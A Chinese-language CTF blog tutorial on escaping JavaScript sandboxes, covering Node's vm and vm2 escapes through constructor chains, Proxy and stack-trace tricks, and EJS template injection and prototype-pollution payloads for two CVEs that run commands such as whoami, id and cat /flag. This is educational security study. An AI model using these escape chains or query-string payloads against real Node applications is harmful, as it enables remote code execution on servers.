ukysblog
首页项目归档刷题记录照片墙音乐说说杂谈友链关于
封面

JavaScript沙箱逃逸

2026-4-25 21:52:00
# javascript

RCE

js与php类似,执行命令需要使用执行函数,常用的有

eval("js代码"); // 执行js代码
setTimeout("js代码", 延迟时间); // 延迟执行js代码
setInterval("js代码", 间隔时间); // 每隔一段时间执行js代码
Function("console.log('HelloWolrd')")(); // 通过Function构造函数创建一个新的函数并执行

一般执行RCE需要我们使用child_process模块下的exec函数,它会调用bash执行命令并返回结果

require('child_process').exec('code').toString();

由于exec调用的是shell,回显结果默认为buffer二进制流,需要使用toString()方法将其转换为字符串格式

关于toString()还有以下用法:

num.toString(16) 进制转化

const fruits = ["苹果", "香蕉", "橙子"];
console.log(fruits.toString()); // 输出: "苹果,香蕉,橙子"

需要注意的是js默认输出编码为utf-8,而中文系统CLI默认编码为gbk,需要使用iconv-lite模块进行编码转换

(function(args){ 
    const buf = require('child_process').execSync(args); 
    console.log(require('iconv-lite').decode(buf, 'cp936')); 
})('dir');

.exec和.execSync的区别在于前者是异步执行,后者是同步执行。execSync会阻塞代码执行直到命令执行完成并返回结果

有时候会ban你require的使用。在这种情况下,我们需要跳出当前环境

process.mainModule.require('child_process').exec('code');

process是当前js进程的全局对象,mainModule指向该对象主模块,process.mainModule 是 Node 传统 CommonJS 环境里访问入口模块的方式

global/globalThis是全局命名空间对象,process就是里面的属性。所以一般我们习惯在process里加上global指代全局而不是某个局部作用域的process

但通常沙箱环境的上下文process也不会去给。这里我们又要运用到js原型的知识

[].constructor.constructor('return process.mainModule.require("child_process").execSync("whoami").toString()')()

{}指代对象(也可以换成[],"")。他的构造函数是Array,而任何函数的构造函数都是Function。Function是构造js底层的构造函数,我们让他把process返回出来

再探究底层一点,其实MainModule也有原型:Module类。内部有私有方法_load(),require()本质上也是调用这个方法使用的

process.mainModule.constructor._load('child_process').exec('calc')

vm沙箱逃逸

node vm
  1. 方法
  • context

刚刚提到了上下文(context),就是vm模块的作用环境,我们看一下官方文档中context如何运作

const { createContext, runInContext } = require('node:vm');

const x = 1;

const context = { x: 2 };
createContext(context); // 创建了contextifying对象

const code = 'x += 40; var y = 17;';
// 在上下文中,x,y相当于全局变量
runInContext(code, context);
// 在context中运行
console.log(context.x); // 42
console.log(context.y); // 17

console.log(x); // 1; y没有定义

context就是一个沙箱

context不具备全局CommonJS模块,无法直接调用require等函数。

const vm = require("vm");
// const context = {};
vm.createContext(context);
const xyz = vm.runInNewContext(`...`);
console.log(xyz);
  • vm.script类

     new vm.Script(code[, options])
    

    script类对code只编译,不执行。可以多次运行

    结合context,可以使用script.runInContext

    const context = { a: 10 }
    vm.createContext(context)
    
    const script = new vm.Script("a += 5; b = 99")
    script.runInContext(context)
    
    console.log(context)
    // { a: 15, b: 99 }
    

    并且script本身和context一样不带全局环境

    除此之外,script内置script.runInThisContext函数,他能访问/改变宿主的global变量

    const { Script } = require('node:vm');
    
    global.globalVar = 0;
    
    const script = new Script('globalVar += 1', { filename: 'myfile.vm' });
    
    for (let i = 0; i < 1000; ++i) {
      script.runInThisContext();
    }
    
    console.log(globalVar);
    
    // 1000
    
  1. 逃逸

    主要目的:拿到Function构造器

  • 宿主侧暴露

对于context沙箱,里面一般不会给危险对象,所以我们必须要拿到构造器
我们都知道this指向对象或全局对象,在context里,this指代该沙箱的globalThis,而globalThis.constructor指object。所以payload可以这么写拿到Funcion

const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()

这里的this.constructor还有很多写法,其目的就是逃逸到宿主侧使用 Function

假如context里传入了宿主对象,可以使用

outobj.toString.constructor 
outobj.valueOf.constructor

都是指向 Function

  • 隐式转换

我们都知道 "str"+obj 会调用 toString()方法,1 + obj 会触发valueOf()方法,这个就叫隐式转换

我们可以在context里覆写toString或valueOf()方法实现反调用

前提是导入了宿主侧对象

const vm = require("node:vm")

globalThis.FLAG = "flag{demo}"

function hostHelper() {
  return "host helper"
}

const context = vm.createContext({
  hostHelper,
})

const payload = `
  ({
    toString() {
      const HostFunction = hostHelper.constructor
      return HostFunction("return globalThis.FLAG")()
    }
  })
`

const userObj = vm.runInContext(payload, context)

console.log("answer: " + userObj)
// answer: flag{demo}
  • proxy 反调用

    proxy用于拦截对象操作,其中包括

    get //obj.attr触发set //obj.attr=value触发has //value in obj触发ownKeys // Reflect.ownKeys(p)、Object.keys(p)、Object.getOwnPropertyNames(p)getPrototypeOf // Object.getPrototypeOf(p)、Reflect.getPrototypeOf(p)、p.__proto__getOwnPropertyDescriptor // Object.getOwnPropertyDescriptor(p, "x")apply // p()、p.call(...)、Reflect.apply(p, thisArg, args)construct // new p()、Reflect.construct(p, args)

    我们可以vm内部拦截宿主操作

    const vm = require("node:vm")
    
    globalThis.FLAG = "flag{demo}"
    
    function hostHelper() {}
    
    const context = vm.createContext({
      hostHelper,
    })
    
    const userObj = vm.runInContext(`
      new Proxy({}, {
        get(target, prop) {
          if (prop === "name") {
            const HostFunction = hostHelper.constructor
            return HostFunction("return globalThis.FLAG")()
          }
          return target[prop]
        }
      })
    `, context)
    
    console.log(userObj.name)
    // flag{demo}
    
  • defineProperty 反调用

    除了 proxy,我们还可以直接用 defineProperty 函数直接改写getter/setter 方法,它本来是用来设置对象里的一个属性的,但它却可以设置操作这个属性用到的方法应用于这个对象

    obj={}
    Object.defineProperty(obj, "token", {
      get() {
        const HostFunction = hostHelper.constructor
        return HostFunction("return globalThis.FLAG")()
      }
    })
    return obj
    // 宿主侧
    console.log(userObj.token)
    
    Object.defineProperty(obj, "result", {
    set(value) {
      const HostFunction = hostHelper.constructor
      this.leaked = HostFunction("return globalThis.FLAG")()
    } // hostHelper 来源于宿主侧
    return obj
    
    console.log(userObj.leaked)
    
  • JSON.stringify 反调用

    原理是JSON.stringify调用的是toJSON()函数,宿主输出用了JSON.stringify格式化,我们就可以用它

    toJSON() {
          const HostFunction = hostHelper.constructor
          return HostFunction("return globalThis.FLAG")()
        }
    
  • util.inspect 反调用

这个不太常见,具体来说就是如果 console.log 的对象不是格式化字符串,就会调用 util.inspect() 调试输出。其中util.inspect.custom 可以定义一个函数让inspect()用定义方式显示

前提是沙箱会前置util.inspect.custom这个symbol,我也觉得ctf出这个毫无意义

const util = require("node:util")

const obj = {
  [util.inspect.custom]() {
    return "hello from inspect"
  },
}

console.log(obj)
// hello from inspect
1787222530026.png
vm2

vm2是一个第三方模块,相当于vm的升级版,内部采用了proxy来进行控制访问。proxy是js的一个内置对象,可以用来定义基本操作的自定义行为,比如属性查找、赋值、枚举、函数调用等

这时候再写this.constructor就不行了,因为vm2默认会做对象包装、跨 realm 隔离、异常清洗、Promise 清洗、模块白名单等处理

  • 捕获error.stack

不过vm2百密一疏,它捕获的error对象是不被包括在沙盒内的。我们可以捕获一个 err.stack 。反调用它

try {
    this.process.removeListener(); 
    // removeListener()必须要传参,否则会抛出异常
} 
catch (host_exception) // 触发err.stack 
{
    console.log('host exception: ' + host_exception.toString());
    host_constructor = host_exception.constructor.constructor;
    host_process = host_constructor('return this.process')();
    child_process = host_process.mainModule.require("child_process");
    console.log(child_process.execSync("whoami").toString());
}

在 V8 引擎里,当访问err.stack时,prepareStackTrace函数会把错误格式化

但如果我们反调用 prepareStackTrace

const vm = require("node:vm")

globalThis.FLAG = "flag{demo}"

function hostHelper() {
  return "host helper"
}

const context = vm.createContext({
  hostHelper,
})

try {
  vm.runInContext(`
    Error.prepareStackTrace = function (err, frames) {
      const HostFunction = hostHelper.constructor
      return HostFunction("return globalThis.FLAG")()
    }

    throw new Error("boom") // 抛出异常
  `, context)
} catch (err) {
  console.log(err.stack) // 访问异常
}

访问 err.stack 就会触发 prepareStackTrace

但要是没有前置对象,就需要栈帧逃逸

和python一样,stack frame栈帧代表函数的帧,V8 引擎 会把这些帧包装成 CallSite 对象,而这些对象有如下方法

Callsite.getThis()  // 返回该帧this的值
Callsite.getFunction() // 返回这一帧正在执行的函数对象
// 可以用Callsite[num]来从里到外定位栈帧的位置

我们可以在用prepareStackTrace获取frames后,相当于获取了Callsite对象,然后我们找有没有一帧脱离沙箱到了宿主函数

Error.prepareStackTrace = function (err, frames) {
  return frames.map((frame, index) => ({
    index,
    name: frame.getFunctionName(),
    file: frame.getFileName(),
    hasFunction: frame.getFunction() !== undefined,
    hasThis: frame.getThis() !== undefined,
  }))
}

假如是第0帧为宿主帧,我们可以获取函数对象或者获取它的this(指向globalThis),实现栈帧逃逸

Error.prepareStackTrace = function(err, stack) {
  const func = stack[0].getFunction();
  const hostGlobal = func.constructor('return this')();
  const proc = hostGlobal.process;
  const require = proc.mainModule.require;
  ...
};

function testFunc() {
  new Error().stack; // 访问异常
}

testFunc();

js rce 的应用

EJS

EJS 的全称是 Embedded JavaScript templating(嵌入式 JavaScript 模板)。在前端和 Node.js 后端(特别是配合 Express 框架,通过 Express 路由中的 res.render('viewName', localsObject) 方法,后端将数据对象(locals)传递给 EJS 模板,模板内的变量直接对应对象属性,实现逻辑与视图的解耦),它是最受欢迎的模板引擎之一,它允许你在 HTML 里直接写原生的 JavaScript 代码

  1. 表达式

ejs.render(template, data): 属于 EJS 渲染引擎模块,仅返回渲染后的字符串。需手动发送(如res.send())。接受一个 字符串模板 和 变量对象。易触发直接 SSTI。ejs会把接受的变量转换成以下格式:

<%= variable %> //(转义输出,安全)

<%- variable %> //(不转义,可用于执行js代码),比如

<%- global.process.mainModule.require('child_process').execSync('cat /flag').toString() %>

<% if (user) { %> ... <% } %> 执行代码
  1. 原型链污染导致的 SSTI

res.render('viewName', { userInput: userInput }):属于Express 框架。接受.ejs模板文件,自动发送 HTTP 响应。有原型链污染注入

Express在调用EJS渲染时,可以通过settings对象的view options属性自定义render配置

{ settings: { 'view options': { ... } } }

默认情况下,Express 支持 querystring 解析 URL 查询参数,并将其转换为一个对象。在res.render中,这个对象会被传递给 EJS 模板作为数据源。如果攻击者能够控制这个对象的原型链,就可以在 EJS 渲染时注入恶意代码

我们讲两个典型的CVE,要了解这两个CVE就要搞懂EJS渲染原理
EJS渲染时会把模板转换成字符串,然后EJS 会使用 JavaScript 内置的 new Function() 构造器,将这段纯字符串变成一个可执行的函数anonymous,调用并返回

CVE-2021-24018:EJS < 3.1.6

EJS 在编译时,会根据一个配置参数 opts.outputFunctionName 允许开发者修改模板编译内部用于拼接输出字符串的变量名

var prepended = '';
if (opts.outputFunctionName) {
    prepended += '  var ' + opts.outputFunctionName + ' = __append;\n';
}

如果我们通过原型链污染给 Object.prototype 塞入一个恶意的 outputFunctionName,然后通过qs解析器传递给res.render('viewName',req.query)使其添加在anonymous中,使其改变ejs解析方式:

GET /?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('id');//
// 这里的//是为了注释掉后面的 = __append

就成了

function anonymous(locals, escapefn, include, rethrow) {
    var x;process.mainModule.require('child_process').execSync('id');// = __append;
    // ... 后续渲染代码 ...
}

当 EJS 再次渲染任何一个正常模板时,这段恶意的 JS 代码被执行

CVE-2022-29078:EJS < 3.1.7

CVE-2021-24018出现后,ejs开发者赶紧给outputFunctionName加了正则,但他忽略了另一个参数 escapeFunction ,于是就有了CVE-2022-29078
escapeFunction 是 EJS 内部用于转义输出的函数名,当开启 client: true 模式编译模板时,EJS 会把 escapeFunction 的内容拼接到anonymous里

if (opts.client) {
    src += '  var escapefn = ' + opts.escapeFunction + ';\n';
}
function anonymous(locals, escapefn, include, rethrow) {
    var escapefn = ejs.escapeXML;
}

同理

GET /?settings[view options][client]=true&settings[view options][escapeFunction]=process.mainModule.require('child_process').execSync('id')
avatar

uky

后端安全方向,ctf-web手

RECOMMENDED

带你体验第一视角手撕CC链

2026-5-14 21:10:00

floor(rand(0)*2)的奥秘

2025-11-11 09:00:00

Java反序列化-基础部分

2026-3-31 09:00:00

Table of Contents